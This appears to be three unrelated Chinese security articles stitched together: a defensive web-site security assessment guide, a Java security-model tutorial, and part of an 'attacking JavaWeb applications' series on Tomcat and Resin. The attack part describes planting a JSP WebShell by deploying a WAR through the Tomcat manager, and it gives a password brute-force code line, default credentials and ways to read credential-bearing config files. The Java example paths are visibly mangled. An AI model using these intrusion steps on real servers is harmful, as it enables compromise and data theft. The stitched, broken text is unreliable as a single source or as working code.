防范网页挂马攻击 从对WEB站点进行安全评估开始

防范网页挂马攻击 从对WEB站点进行安全评估开始

原文链接：http://www.securitycn.net/html/research/service/5723.html

对于一些大型网站来说，通常拥有一整套已经执行了的WEB站点安全防范解决方案，但是，为什么一些网站还是会被攻击者挂载木马?其中一个最主要的原因是已经实施的WEB站点安全解决方案只能够应对已经出现的安全漏洞和威胁。而攻击者总是在通过各种手段来分析网站中可能会存在的弱点或漏洞，以便能够成功绕过网站当前的安全防范措施来实施挂马攻击。针对这样的一种WEB站点安全现状，最好的方式就是在部署相应的安全防范安全解决方案的同时，还必需采取与攻击者相同的手段，也就是在网站的运营过程中，不断对它进行安全评估，以此来找到网站中可能存在的弱点和漏洞。

对WEB站点进行安全评估是WEB安全防范处理过程中非常重要的一个环节，它应当贯穿站点的整个生命周期。对WEB站点实施安全评估的目的就是指安全评估人员，使用相应的评估工具和技术，经过一系列恰当的方法，对WEB服务器本身、服务器系统、后台数据库系统及网络中已经实施的安全机制，进行全面的检测和评估，以此来检测整个WEB系统是否还存在弱点，以及验证实施的安全机制是否有效。并根据最后的评估分析结果，对现有的安全策略进行修订，对实施的安全机制进行补充。

一、制定WEB站点安全评估方案

对WEB站点进行安全评估，为了能够达到最终的效果，事先先制定一个切合实际的安全评估方案是十分有意义的。当然，对于一些个人网站，或者只进行一次WEB站点弱点检测来说，也可以跳过制定安全评估方案这个环节，直接使用系统或WEB弱点检测工具对WEB站点所在的系统和其本身进行详细的弱点检测即可。

如果需要对一个WEB站点进行全面的安全评估，或者你需要一个安全评估方案来指导你完成相应的WEB站点弱点检测任务，那么，我们可以按下列列出的内容，来构建一个适合自己实际需求的WEB站点安全评估方案：

1、为WEB站点安全评估确定一个最终目标，也就是为什么要这么做，这样做需要达到什么的目的。

2、为WEB站点的安全评估指定安全评估人员。

3、确定安全评估时具体的评估对象。

4、为WEB站点的安全评估制定具体的时间计划表，如果没有什么特殊情况，我们应当严格按照这张时间表规定的时间对WEB站点实施安全评估。

5、为WEB站点的安全评估指定具体的评估工具，并要求评估人员对这些工具进行相应的学习，以达到训练掌握它们的目的，还必需规定评估人员按时对这些评估软件所依赖的评估漏洞库和软件本身进行不断的更新。

6、规定是将安全评估工具安全装在目标WEB服务器进行安全评估，还是在专门的硬件设备(例如笔记本电脑)上安装评估软件，然后在使用时再接入目标网络实施评估任务。

7、明确具体的安全评估方法

8、明确安全评估过程中需要注意的操作事项;

9、明确安全评估的规章制度和评估人员责任;

10、规定安全评估结果的记录方式，以及评估报告的上报、存档和检索方式。

WEB站点安全评估方案应当根据实际的网络环境，以及站点的具体内容和功能，经过详细的调查和分析后，再由安全评估参与人员共同完成。当然，一个实际的WEB站点安全评估方案，所包括的内容可能比上述所列出的内容要多得多，也详细得多，在这里只是对它们做了一个简单的说明，具体的内容还需要大家根据实际情况做具体的补充。

二、WEB站点安全评估的具体实施方式

WEB站点安全评估的具体实施涉及到四个最关键的因素，它们是安全评估人员、评估工具、评估方法和评估对象。

1、安全评估人员

安全评估人员，应当包括WEB站点所有者、管理员及安全评估实施人员。安全评估实施人员的技术和经验，以及工作态度在一定程度上决定了评估的效果和可信性。

有时，一些WEB站点不得不将安全评估任务外包给一些具有安全评估资质的第三方机构来完成，这也是一些没有具体的WEB站点管理员的中小企业WEB网站经常使用的方式。

还有一些WEB站点，所有的工作都是由站点管理员一个人来完成，对于这样的WEB站点安全评估报告，通常只会被他自己所接受，也就是用来对站点当前的安全状况进行一次简单的体检，以此来做到心中有数。

2、安全评估工具

安全评估工具需要根据所要评估的具体对象来选择，不同的评估对象，所使用的评估工具是不相同的。这是由于有些安全评估工具只是针对某种服务或软件，有些是针对整个主机或网络的;有些安全评估工具只能在某种操作系统平台下运行，而有些安全评估工具却能在许多流行的操作系统平台下运行;一些安全评估工具是软件方式的，还有一些是以独立的硬件方式存的;有些安全软件是免费的，而有一些是商业的。由此，要找到一款合适的安全评估工具还真的不是随便选择几样这么简单。并且，一些其他人认为非常好用的安全评估工具，对于我们自己来说并不见得会很喜欢，因此，有时我们不得不经过不断的试用才会知道哪几款评估软件才是最适合我们自己的。

幸运的是，现在还是已经有许多功能强大的评估工具可以供我们选择，这些工具有：

(1)Nmap

Nmap是一个网络探测和安全扫描程序，我们可以使用它来扫描WEB站点所在系统或整个网络，并以此来得到WEB站点所在系统正在运行及提供什么样的服务，开放了什么样的端口，使用什么样的操作系统等信息。Nmap支持包括UDP、TCP connect()、TCP SYN()、ICMP、FIN及ACK等扫描方式，其中有许多扫描方式还可以用来检测防火墙及IDS/IPS等设备的回应情况。

Nmap能够在类UNIX系统及Windows系统的终端下以命令方式运行，它的命令执行格式为：nmap [Scan Type(s)] [Options]。我们可以从http://insecure.org/网站上下载到它的最新版本，以及得到它的详细说明文档。

图1 Nmap扫描结果示意图

(2)Nessus

Nessus同样是一个功能强大的安全检测工具，它允许用户使用插件对它进行功能上的扩展。Nessus使用一个频繁更新的漏洞库作为安全检测的依据。我们可以到www.nessus.org网站上下载到它的免费版本Nessus3，以及得到它的详细的使用文档。现在大部分的安全人员都使用它来对网络或主机系统进行全面安全检测。

图2 Nessus3主界面

(3)Nikto

Nikto是一款开放源代码、功能强大的WEB弱点扫描评估软件，它能对WEB服务器的多种安全项目进行测试，能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto使用LibWhiske漏洞库，Nikto已成为WEB站点管理员必备的WEB安全检测工具之一。

可以到http://www.cirt.net/ 网站上下载Nikto的最新版本。Nikto是基于PERL开发的程序，所以需要PERL环境。因此，当Nikto需要在Windows系统下使用时，要同时下载并安装ActiveState Perl环境。当需要Nikto使用SSL的安全方式对WEB站点进行安全扫描时，还会用到Net::SSLeay PERL模式，此时必须保证系统中安装有OpenSSL。它们的具体安装和使用细节可以参考它们的帮助文档。

另外，还有一个与Nikto相似的WEB弱点扫描工具Wikto，它不仅具有Nikto同样的功能，还提供GUI图形界面，但只能在Windows系统下运行。它可以到http://www.sensepost.com/research/wikto/下载。。

(4)N-Stealth

N-Stealth是ZMT公司出品的一款商业的WEB站点安全扫描软件，同时也有可以免费使用的版本，只是功能没有商业版本的多，漏洞库也不支持自动更新。我们可以到www.nstalker.com网站上下载它的最新版本，它可以在win98/ME/2000/XP/2003系统下运行。

图3 N-Stealth启动后的主界面

(5)ISS Database Scanner

ISS的数据库扫描器(DataBase Scanner)是一个针对数据库管理系统进行风险评估的检测工具。它可以自动识别数据库系统中各种潜在的安全问题，产生通俗易懂的报告来表示安全风险和弱点，并对违反和不遵循数据库安全策略的弱点和漏洞提出修改建议。

Database Scanner 可以扫描的数据包括Microsoft SOL Server 6.x 或7.x、Sybase Adaptive Server 11.x和Oracle 8i, 8.0 或 7.3。它能通过网络快速、方便地扫描数据库，去检查数据库中可能存在的安全漏洞，全面评估所有的安全漏洞和认证、授权、完整性方面的问题。

图4 Database Scanner的主界面

除了上面介绍的安全扫描软件以外，还有一些软件也有可以用来进行安全检测工作，包括X-scan3.3、WebInject1.41和 Acunetix WVS Free Edition，以及一款功能全面且性能强大的商业安全扫描软件ISS Internet Scanner等。

另外，在使用任何评估工具之前，要先对其漏洞库进行升级更新。这是由于现在大多数安全评估工具都是利用漏洞特征库来进行弱点检测的，只有保证它们的漏洞特征库为最新状态，才有可能发现WEB站点及所依赖的系统上可能存在的最新漏洞。

3、安全评估方法

安全评估方法就是具体的安全评估实施方式，它主要涉及到下列五个具体的方面：

(1)由外向内测试

这种安全评估方式就是以攻击者的角度从WEB站点所在网络结构中的外部，对它进行安全扫描工作，以此来检测WEB站点防范来自互联网远程攻击的能力。此种测试方式可以使用上述评估工具中的N-stealth、X-Scan和WebInject等工具来进行。

(2)由内向外测试

由内向外的安全检测方式是指从WEB站点所在网络结构的内部，对它进行安全扫描工作。这种安全检测方式主要用来检验WEB站点对来自内部的攻击防范能力，以及检测对用户权限分配情况和内部数据传输过程中的安全性。此时可使用一些操作系统内部网络命令，例如Netstat，以及Hping和Nikto、X-scan、Nmap、Acunetix WVS Free Edition等工具来进行完成检测任务。

(3)模拟攻击测试

模拟攻击测试是指在实际的测试过程中并不对WEB站点所在服务器系统及WEB应用程序、网络设备进行真正的攻击事件。这种测试方式并不会对WEB站点的性能产生影响，平时大部分的安全评估工作应当使用模拟攻击的测试方式。

(4)真实攻击测试

当使用模拟攻击测试不能真正检验到网站的安全状况时，就可以使用真实的攻击测试。由于攻击是真实的，因此会对WEB站点的性能造成影响，因而这种方式最好在WEB开发的最初阶段，以及没有WEB业务的时候进行。现在有很多的网站都会请一些专门的黑客来对自己的站点进行真实的攻击，以便最大程度地检测出WEB站点中存在的安全漏洞问题。

(5)社会工程攻击测试

有许多人认为社会工程只是攻击者用来进行攻击的一种手段，却不知它也是一种很好的检测企业内部员工及站点管理员反社会工程攻击能力强度的评测工具。我们可以通过电话、手机短信及电子邮件的方式对评测的人员实施与攻击相同的社会工程攻击测试。同样，我们还可以通过直接接触的方式对被评测者进行相应的社会工程攻击测试评估。当我们决定进行社会工程方式的安全评估工作时，最好让可信的第三方来进行，这样才可以达到最好的评估效果。

4、评估对象

评估对象就是指评估过程中具体的评估实施目标，包括WEB服务器主机操作系统、WEB应用程序框架、数据库系统及网络基础设施等。

这四个因素是WEB站点安全评估工作中缺一不可的，缺少任何一个或任何一个出现问题，都会使整个评估工作中断或使评估结果不可信。还有就是评估工具的使用并不一定得一次只使用一种工具，我们可以根据所要评估的对象和评估的内容进行组合应用。毕竟，有时一种工具只在某一个方面比较有效，而且，评估软件还存在误报和漏报的问题，组合使用工具，再加上评估人员自己经验的判断，就能将评估结果的有效性提高到最高水平。

当WEB站点安全评估工作完成后，我们还应当根据安全评估结果，对安全策略进行相应的修订，同时对实施了的安全机制进行相应的补充。WEB站点的安全评估工作，在站点没有真正投入运行前，可不断地重复进行检测，直到我们认为已经修补了所有已知的漏洞为止。同时，我们还必需在WEB站点运营过程当中进行安全评估，以此来发现潜在的安全威胁。

不能忽略的一点，如今攻击者善于主动分析并发现新的漏洞，这样就对现有的漏洞扫面系统造成了一定的瓶颈，并不能完全解决网站被挂马攻击这种威胁。因此，我们在使用它的同时，还必需使用其它的方式来补充它的不足。

因此作为Web站点的管理者而言，需要通过不断对WEB站点进行安全评估，以便能先攻击者一步来发现网站中可能存在的弱点，然后才能在攻击没有发动前就修补好这些漏洞，这样才有可能最大限度地减少网站被挂马的风险。为了更好地了解安全趋势，我们还可以到www.cert.org及www.securityfocus.com订阅最新的安全漏洞的邮件列表，让我们可以及时了解每天的安全漏洞信息。

本篇文章来源于 中国安全网-安全您的网络 原文链接：http://www.securitycn.net/html/research/service/5723.html

Java 安全模型介绍

2013/01/06 16:20 | GaRY

来源：http://www.ibm.com/developerworks/cn/java/j-lo-javasecurity/

作为一种诞生于互联网兴起时代的语言，Java 从一开始就带有安全上的考虑，如何保证通过互联网下载到本地的 Java 程序是安全的，如何对 Java 程序访问本地资源权限进行有限授权，这些安全角度的考虑一开始就影响到 Java 语言的设计与实现。可以说 Java 在这些方面的探索与经验，对后来的一些语言与产品都带来了积极影响。

本篇文章中将介绍 Java 中安全模型，以及如何利用安全访问控制机制来实现一些特定目的。

Java 中的安全模型

在 Java 中将执行程序分成本地和远程两种，本地代码默认视为可信任的，而远程代码则被看作是不受信的。对于授信的本地代码，可以访问一切本地资源。而对于非授信的远程代码在早期的 Java 实现中，安全依赖于沙箱 (Sandbox) 机制。沙箱机制就是将 Java 代码限定在虚拟机 (JVM) 特定的运行范围中，并且严格限制代码对本地系统的资源访问，通过这样的措施来保证对远程代码的有效隔离，防止对本地系统造成破坏。如图 1 所示，

图 1.JDK1.0 安全模型

但如此严格的安全机制也给程序的功能扩展带来障碍，比如当用户希望远程代码访问本地系统的文件时候，就无法实现。因此在后续的 Java1.1 版本中，针对安全机制做了改进，增加了安全策略，允许用户指定代码对本地资源的访问权限。如图 2 所示，

图 2.JDK1.1 安全模型

在 Java1.2 版本中，再次改进了安全机制，增加了代码签名。不论本地代码或是远程代码，都会按照用户的安全策略设定，由类加载器加载到虚拟机中权限不同的运行空间，来实现差异化的代码执行权限控制。如图 3 所示，

图 3.JDK1.2 安全模型

当前最新的安全机制实现，则引入了域 (Domain) 的概念。虚拟机会把所有代码加载到不同的系统域和应用域，系统域部分专门负责与关键资源进行交互，而各个应用域部分则通过系统域的部分代理来对各种需要的资源进行访问。虚拟机中不同的受保护域 (Protected Domain)，对应不一样的权限 (Permission)。存在于不同域中的类文件就具有了当前域的全部权限，如图 4 所示：

图 4. 最新安全模型

以上提到的都是基本的 Java 安全模型概念，在应用开发中还有一些关于安全的复杂用法，其中最常用到的 API 就是 doPrivileged。doPrivileged 方法能够使一段受信任代码获得更大的权限，甚至比调用它的应用程序还要多，可做到临时访问更多的资源。有时候这是非常必要的，可以应付一些特殊的应用场景。例如，应用程序可能无法直接访问某些系统资源，但这样的应用程序必须得到这些资源才能够完成功能。针对这种情况，Java SDK 给域提供了 doPrivileged 方法，让程序突破当前域权限限制，临时扩大访问权限。下面内容会详细讲解一下安全相关的方法使用。

Java 安全控制实现

Java SDK 中与安全相关的类和接口都放在 java.security 包中，其中既包括访问控制配置及细粒度访问控制框架的实现，还包括签名和加解密的实现。本文中涉及到的安全访问控制主要与安全包中访问控制框架相关，这里面最常用的就是 AccessContorller 类。通过下图的描述，您可以了解 ACC(Access Contorller) 机制是如何运作的。

在某一个线程的调用栈中，当 AccessController 的 checkPermission 方法被最近的调用程序（例如 A 类中的方法）调用时，对于程序要求的所有访问权限，ACC 决定是否授权的基本算法如下：

1. 如果调用链中的某个调用程序没有所需的权限，将抛出 AccessControlException；
2. 若是满足以下情况即被授予权限：a. 调用程序访问另一个有该权限域里程序的方法，并且此方法标记为有访问“特权”； b.

调用程序所调用（直接或间接）的后续对象都有上述权限。

在上面例子的调用链中，假定 E 域和 F 域不具备 X 权限 (permission)，而在 C.class 对应的 G 域具有 X 权限，同时 C 使用 X 权限的对外接口 Y 方法是通过 doPrivilege 方式实现。那么，B.class A.class 调用 Y 方法就都具备 X 权限。如果 Y 方法没有标注 doPrivilege，那么对 Y 方法的调用就不具备 X 权限。

还有一种特殊的情况，就是访问控制上下文的继承问题。当一个线程创建另一个新线程时，会同时创建新的堆栈。如果创建新线程时没有保留当前的安全上下文，也就是线程相关的安全信息，则新线程调用 AccessController.checkPermission 检验权限时，安全访问控制机制只会根据新线程的上下文来决定安全性问题，而不会考虑其父线程的相应权限。这个清除堆栈的做法本身并不会给系统带来安全隐患，但它会使源代码，尤其是系统代码的编写容易出现错误。例如，对安全框架实现不熟悉编程人员可能会很自然地认为，子线程执行的信任代码继承了父线程执行的不可信任代码的安全限制特性。当从子线程内访问受控制的资源时，如果父线程的安全上下文信息并未保存，就会导致意外的安全漏洞。因为丢失的父线程中安全限制数据会使子线程将资源传递给一些不可信任的代码。因此，在创建新线程时，必须确保利用父线程创建，或利用其他形式创建代码。总之，要保证让子线程自动继承父线程的安全性上下文，这样子线程中的后续 AccessController.checkPermission 调用就会考虑所继承的父线程的安全特性。

需要注意是 AccessController 类的 checkPermission 方法将在当前执行线程的上下文，包括继承的上下文中进行安全检查。当这种安全检查只能在不同的上下文中进行时就会出现问题。意即，本应在一个线程上下文内部进行的安全检查，有时却需要在不同上下文中进行。例如，当一个线程将某个事件传给另一个线程时，如果所请求的事件服务要求访问某种安全受控资源，则为其请求事件服务的第二个线程将没有事件产生源线程相应的上下文来完成所需的访问控制决策。为解决这样的问题，Java 在 AccessController 类中提供了 getContext 方法和 AccessControlContext 对象。通过 getContext 方法可获取当前调用上下文的“快照 (snapshot)”，然后将其存放到返回的 AccessControlContext 对象中。调用的样例程序如下所示：AccessControlContext acc = AccessController.getContext();

getContext 方法将当前上下文的快照信息捕获，然后执行程序就可以通过检查前后不同上下文中的信息，即比较快照上下文信息与本上下文信息，然后来做出对受控资源访问控制的决策。上面问题就可以如下方式来解决，当前一个线程把某个请求事件传给第二个线程时，同时捕获其上下文信息并将这些信息提供给后一个线程。略有不同的是，AccessControlContext 类本身的 checkPermission 方法可根据它自身携带的上下文信息来决定访问控制，而不是根据当前正在执行的线程上下文。因此必要时，后一个线程可直接通过调用前一个线程上下文快照本身的权限检查方法来执行相应的安全检查。如下，acc.checkPermission(permission)，上述方法调用等同于在前一个线程的上下文中执行相同的安全检查，尽管访问控制检查实际上是在后一个线程中完成的。

安全控制使用的代码实例

上面关于安全控制使用的描述还是比较晦涩，下面将通过一个代码示例进行说明。

在 Eclipse 开发环境中建立两个不同工程：projectX 和 projectY。我们会给 projectX 工程中的 bin 目录赋予写文件的权限，换句话说就是允许所有存在于此目录中的 class 文件可以自由的在 bin 目录中进行文件写操作。然后，我们会在 projectY 工程中调用 projectX 工程中的一个文件操作工具类。这个工具类提供两种类型接口，一种是特权访问方式，另外一种是普通访问方式。由于在 projectY 工程中的文件是不具备在 projectX 工程中 bin 目录的任何写权限，所以通过三种不同访问方式的调用结果，我们就可以很清楚地了解到 Java 中安全控制该如何使用。

假定 ProjectX 的项目路径为 D:workspaceprojectX package learn.java.security; import java.io.File; import java.io.IOException; import java.security.AccessControlException; import java.security.AccessController; import java.security.PrivilegedAction; public class FileUtil { // 工程 A 执行文件的路径 private final static String FOLDER_PATH = "D:workspaceprojectXin"; public static void makeFile(String fileName) { try { // 尝试在工程 A 执行文件的路径中创建一个新文件 File fs = new File(FOLDER_PATH + "" + fileName); fs.createNewFile(); } catch (AccessControlException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } public static void doPrivilegedAction(final String fileName) { // 用特权访问方式创建文件 AccessController.doPrivileged(new PrivilegedAction<String>() { @Override public String run() { makeFile(fileName); return null; } }); } }

假定 ProjectY 的项目路径为 D:workspaceprojectY

package demo.security; import java.io.File; import java.io.IOException; import java.security.AccessControlException; import learn.java.security.FileUtil; public class DemoDoPrivilege { public static void main(String[] args) { System.out.println("///////////////////////////////////////"); System.out.println("I will show AccessControl functionality..."); System.out.println("Preparation step : turn on system permission check..."); // 打开系统安全权限检查开关 System.setSecurityManager(new SecurityManager()); System.out.println(); System.out.println("~~~~~~~~~"); System.out.println(" Create a new file named temp1.txt via privileged action ..."); // 用特权访问方式在工程 A 执行文件路径中创建 temp1.txt 文件 FileUtil.doPrivilegedAction("temp1.txt"); System.out.println("~~~~~~~~~"); System.out.println(); System.out.println("/////////////////////////////////////////"); System.out.println("Create a new file named temp2.txt via File ..."); try { // 用普通文件操作方式在工程 A 执行文件路径中创建 temp2.txt 文件 File fs = new File( "D:workspaceprojectXin emp2.txt"); fs.createNewFile(); } catch (IOException e) { e.printStackTrace(); } catch (AccessControlException e1) { e1.printStackTrace(); } System.out.println("/////////////////////////////////////////"); System.out.println(); System.out.println("-----------------------------------------"); System.out.println("create a new file named temp3.txt via FileUtil ..."); // 直接调用普通接口方式在工程 A 执行文件路径中创建 temp3.txt 文件 FileUtil.makeFile("temp3.txt"); System.out.println("-----------------------------------------"); System.out.println(); System.out.println("///////////////////////////////////////"); } }

应用的安全访问控制策略文件 (MyPolicy.txt) 如下 , 假定安全策略文件放于 projectY 工程的根目录下：

// 授权工程 A 执行文件路径中文件在本目录中的写文件权限 grant codebase "file:/D:/workspace/projectX/bin" { permission java.io.FilePermission "D:workspaceprojectXin/*", "write"; };

下面就可以运行程序了，您可以选择在 Eclipse 开发环境中直接运行，也可以通过命令行来执行。命令行执行如下所示，假定当前执行目录就是 projectY 的根目录。

java -Djava.security.policy=.MyPolicy.txt -classpath D:workspaceprojectYin;D:workspaceprojectXin demo.security.DemoDoPrivilege

执行结果如下：

/ / / I will show AccessControl functionality... Preparation step : turn on system permission check... ~~~~~~~~ Create a new file named temp1.txt via privileged action ... ~~~~~~~~ //////////////////////////////////////// Create a new file named temp2.txt via File ... java.security.AccessControlException: Access denied (java.io.FilePermission D:workspaceprojectXin emp2.txt write) at java.security.AccessController.checkPermission(AccessController.java:108) at java.lang.SecurityManager.checkPermission(SecurityManager.java:533) at java.lang.SecurityManager.checkWrite(SecurityManager.java:963) at java.io.File.createNewFile(File.java:882) at demo.security.DemoDoPrivilege.main(DemoDoPrivilege.java:32) //////////////////////////////////////// / / / create a new file named temp3.txt via FileUtil ... java.security.AccessControlException: Access denied (java.io.FilePermission D:workspaceprojectXin emp3.txt write) at java.security.AccessController.checkPermission(AccessController.java:108) at java.lang.SecurityManager.checkPermission(SecurityManager.java:533) at java.lang.SecurityManager.checkWrite(SecurityManager.java:963) at java.io.File.createNewFile(File.java:882) at learn.java.security.FileUtil.makeFile(FileUtil.java:16) at demo.security.DemoDoPrivilege.main(DemoDoPrivilege.java:43) / / / / / /

通过程序打印结果来看，当往 projectX 工程中 bin 目录创建 temp1.txt，temp2.txt，temp3.txt 文件时候，除了通过特权访问方式可以创建成功外，通过普通接口访问或者直接文件操作方式都会失败，失败的原因都是没有通过权限检查。对照前文所描述的权限检查规则，用一句话总结就是想访问安全资源，要么调用链上权限齐全，要么就要用特权。特权访问机制实际上就是给应用开后门的使用上需要小心，所以这也给代码实现带来新的考虑，开放范围一定要限定好，否则可能留下安全隐患。

攻击JavaWeb应用[7]-Server篇[1]

2013/09/22 15:39 | 园长

java应用服务器

Java应用服务器主要为应用程序提供运行环境，为组件提供服务。Java 的应用服务器很多，从功能上分为两类：JSP 服务器和 Java EE 服务器。

常见的Server概述

常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、Geronimo、Jonas、Jrun、Orion、TongWeb、BES Application Server、ColdFusion、Apusic Application Server、Sun Application Server 、Oracle9i/AS、Sun Java System Application Server。

Myeclipse比较方便的配置各式各样的Server，一般只要简单的选择下Server的目录就行了。 

部署完成后启动进入各个Server的后台：



构建WebShell war文件

1、打开Myeclipse新建Web项目 2、把jsp放到WebRoot目录下 3、导出项目为war文件



Tomcat

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。

Tomcat版本

Tomcat主流版本:5-6-7，最新版Tomcat8刚发布不久。Tomcat5较之6-7在文件结构上有细微的差异，6-7-8没有大的差异。最新版的Tomcat8主要新增了：Servlet 3.1, JSP 2.3, EL 3.0 and Web Socket 1.0支持。

版本详情说明：http://tomcat.apache.org/whichversion.html

结构目录：

Tomcat5： Bin、common、conf、LICENSE、logs、NOTICE、RELEASE-NOTES、RUNNING.txt、Server、shared、Temp、webapps、work

Tomcat6-8：

Bin、conf、lib、LICENSE、logs、NOTICE、RELEASE-NOTES、RUNNING.txt、temp、webapps、work

关注conf和webapps目录即可。conf目录与非常重要的tomcat配置文件比如登录帐号所在的tomcat-users.xml；域名绑定目录、端口、数据源(部分情况)、SSL所在的server.xml；数据源配置所在的context.xml文件，以及容器初始化调用的web.xml。

源码下载：

Tomcat6：http://svn.apache.org/repos/asf/tomcat/tc6.0.x/tags/TOMCAT_6_0_18/

Tomcat7：http://svn.apache.org/repos/asf/tomcat/tc7.0.x/trunk/

Tomcat默认配置

1、tomcat-users.xml

Tomcat5默认配置了两个角色：tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。不过都不具备直接部署应用的权限，默认需要有manager权限才能够直接部署war包，Tomcat5默认需要安装Administration Web Application。Tomcat6默认没有配置任何用户以及角色，没办法用默认帐号登录。

配置详解：http://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html/#Introduction

2、context.xml

Tomcat的上下文，一般情况下如果用Tomcat的自身的数据源多在这里配置。找到数据源即可用对应的帐号密码去连接数据库。

WEB-INF/web.xml

3、server.xml

Server这个配置文件价值非常高，通常的访问端口、域名绑定和数据源可以在这里找到，如果想知道找到域名对应的目录可以读取这个配置文件。如果有用Https，其配置也在这里面能够找到。

4、web.xml

web.xml之前讲MVC的时候有提到过，项目初始化的时候会去调用这个配置文件这个文件一般很少有人动但是不要忽略其重要性，修改web.xml可以做某些YD+BT的事情。

Tomcat获取WebShell

Tomcat后台部署war获取WebShell

登录tomcat后台：http://xxx.com/manager/html，一般用

WAR file to deploy 就行了，

Deploy directory or WAR file located on server 这种很少用。

1>Deploy directory or WAR file located on server

Web应用的URL入口、XML配置文件对应路径、WAR文件或者该Web应用相对于/webapps目录的文件路径，然后单击 按钮，即可发布该Web应用，发布后在Application列表中即可看到该Web应用的信息。这种方式只能发布位于/webapps目录下的Web应用。

2>WAR file to deploy

选择需要发布的WAR文件，然后单击Deploy，即可发布该Web应用，发布后在Application列表中即可看到该Web应用的信息。这种方式可以发布位于任意目录下的Web应用。

其中，第二种方式实际上是把需要发布的WAR文件自动复制到/webapps目录下，所以上述两种方式发布的Web应用都可以通过在浏览器地址栏中输入http://localhost:8080/Web进行访问。

 Tips: 当访问xxxx.com找不到默认管理地址怎么办? 1:http://xxxx.com/manager/html 查看是否存在 2:ping xxxx.com 获取其IP地址，在访问：http://111.111.111.111/manager/html 3:遍历server.xml配置读取配置

Tomcat口令爆破

Tomcat登录比较容易爆破，但是之前说过默认不对其做任何配置的时候爆破是无效的。

Tomcat的认证比较弱，Base64(用户名:密码)编码，请求：” /manager/html/”如果响应码不是401（未经授权：访问由于凭据无效被拒绝。）即登录成功。 conn.setRequestProperty("Authorization", "Basic " + new BASE64Encoder().encode((user + ":" + pass).getBytes()));

Tomcat漏洞

Tomcat5-6-7安全性并不完美，总是被挖出各种稀奇古怪的安全漏洞。在CVE和Tomcat官网也有相应的漏洞信息详情。

怎样找到Tomcat的历史版本:

http://archive.apache.org/dist/tomcat/

Tomcat历史版本漏洞?

Tomcat官网安全漏洞公布：

Apache Tomcat - Apache Tomcat 5 漏洞： http://tomcat.apache.org/security-5.html

Apache Tomcat - Apache Tomcat 6 漏洞： http://tomcat.apache.org/security-6.html

Apache Tomcat - Apache Tomcat7 漏洞： http://tomcat.apache.org/security-7.html

CVE 通用漏洞与披露: http://cve.scap.org.cn/cve_list.php?keyword=tomcat&action=search&p=1

Cvedetails ： http://www.cvedetails.com/product/887/Apache-Tomcat.html?vendor_id=45 http://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-887/Apache-Tomcat.html

Sebug: http://sebug.net/appdir/Apache+Tomcat

怎样发现Tomcat有那些漏洞?

1、通过默认的报错页面（404、500等）可以获取到Tomcat的具体版本，对照Tomcat漏洞。

2、利用WVS之类的扫描工具可以自动探测出对应的版本及漏洞。

怎样快速确定是不是Tomcat?

请求响应为:Server:Apache-Coyote/1.1 就是tomcat了。

Tomcat稀奇古怪的漏洞：

Tomcat的安全问题被爆过非常多，漏洞统计图：

有一些有意思的漏洞，比如：Insecure default password CVE-2009-3548(影响版本: 6.0.0-6.0.20)

The Windows installer defaults to a blank password for the administrative user. If this is not changed during the install process, then by default a user is created with the name admin, roles admin and manager and a blank password.在windows安装版admin默认空密码漏洞，其实是用户安装可能偷懒，没有设置密码…

这样的问题在tar.gz和zip包里面根本就不会存在。有些漏洞看似来势汹汹其实鸡肋得不行如：Unexpected file deletion in work directory CVE-2009-2902 都已经有deploy权限了，闹个啥。

Tomcat非常严重的漏洞（打开Tomcat security-5、6、7.html找）： Important: Session fixation CVE-2013-2067 (6.0.21-6.0.36) Important: Denial of service CVE-2012-3544 (6.0.0-6.0.36) Important: Denial of service CVE-2012-2733 (6.0.0-6.0.35) Important: Bypass of security constraints CVE-2012-3546 (6.0.0-6.0.35) Important: Bypass of CSRF prevention filter CVE-2012-4431 (6.0.30-6.0.35) Important: Denial of service CVE-2012-4534 (6.0.0-6.0.35) Important: Information disclosure CVE-2011-3375 (6.0.30-6.0.33) Important: Authentication bypass and information disclosure CVE-2011-3190 (6.0.0-6.0.33) (………………………………………………….) Important: Directory traversal CVE-2008-2938 (6.0.18) Important: Directory traversal CVE-2007-0450 (6.0.0-6.0.9)

如果英文亚历山大的同学，对应的漏洞信息一般都能够在中文的sebug找到。

Sebug：

CVE 通用漏洞与披露：

Resin

Resin是CAUCHO公司的产品，是一个非常流行的application server，对servlet和JSP提供了良好的支持，性能也比较优良，resin自身采用JAVA语言开发。

Resin比较有趣的是默认支持PHP! Resin默认通过Quercus 动态的去解析PHP文件请求。（Resin3也支持，详情：http://zone.wooyun.org/content/2467）

Resin版本

Resin主流的版本是Resin3和Resin4，在文件结构上并没有多大的变化。Resin的速度和效率非常高，但是不知怎么Resin似乎对Quercus 更新特别多。

4.0.x版本更新详情：http://www.caucho.com/resin-4.0/changes/changes.xtp

3.1.x版本更新详情：http://www.caucho.com/resin-3.1/changes/changes.xtp

Resin默认配置

1、resin.conf和resin.xml

Tomcat和Rsin的核心配置文件都在conf目录下，Resin3.1.x 默认是resin.conf而4.0.x默认是resin.xml。resin.conf/resin.xml是Resin最主要配置文件，类似Tomcat的server.xml。

1>数据源:

第一节的时候有谈到resin数据源就是位于这个文件，搜索database（位于server标签内）即可定位到具体的配置信息。

2>域名绑定

搜索host即可定位到具体的域名配置，其中的root-directory是域名绑定的对应路径。很容易就能够找到域名绑定的目录了。

^([^/]/*).javaweb.org

Resin默认安全策略

1>管理后台访问权限

Resin比较BT的是默认仅允许本机访问管理后台，这是因为在resin.conf当中默认配置禁止了外部IP请求后台。

修改为true外部才能够访问。

2>Resin后台管理密码

Resin的管理员密码需要手动配置，在resin.conf/resin.xml当中搜索management。即可找到不过需要注意的是Resin的密码默认是加密的，密文是在登录页自行生成。比如admin加密后的密文大概会是：yCGkvrQHY7K8qtlHsgJ6zg== 看起来仅是base64编码不过不只是admin默认的Base64编码是：YWRtaW4= Resin,翻了半天Resin终于在文档里面找到了：http://www.caucho.com/resin-3.1/doc/resin-security.xtp



虽说是MD5+Base64加密但是怎么看都有点不对，下载Resin源码找到加密算法： package com.caucho.server.security.PasswordDigest

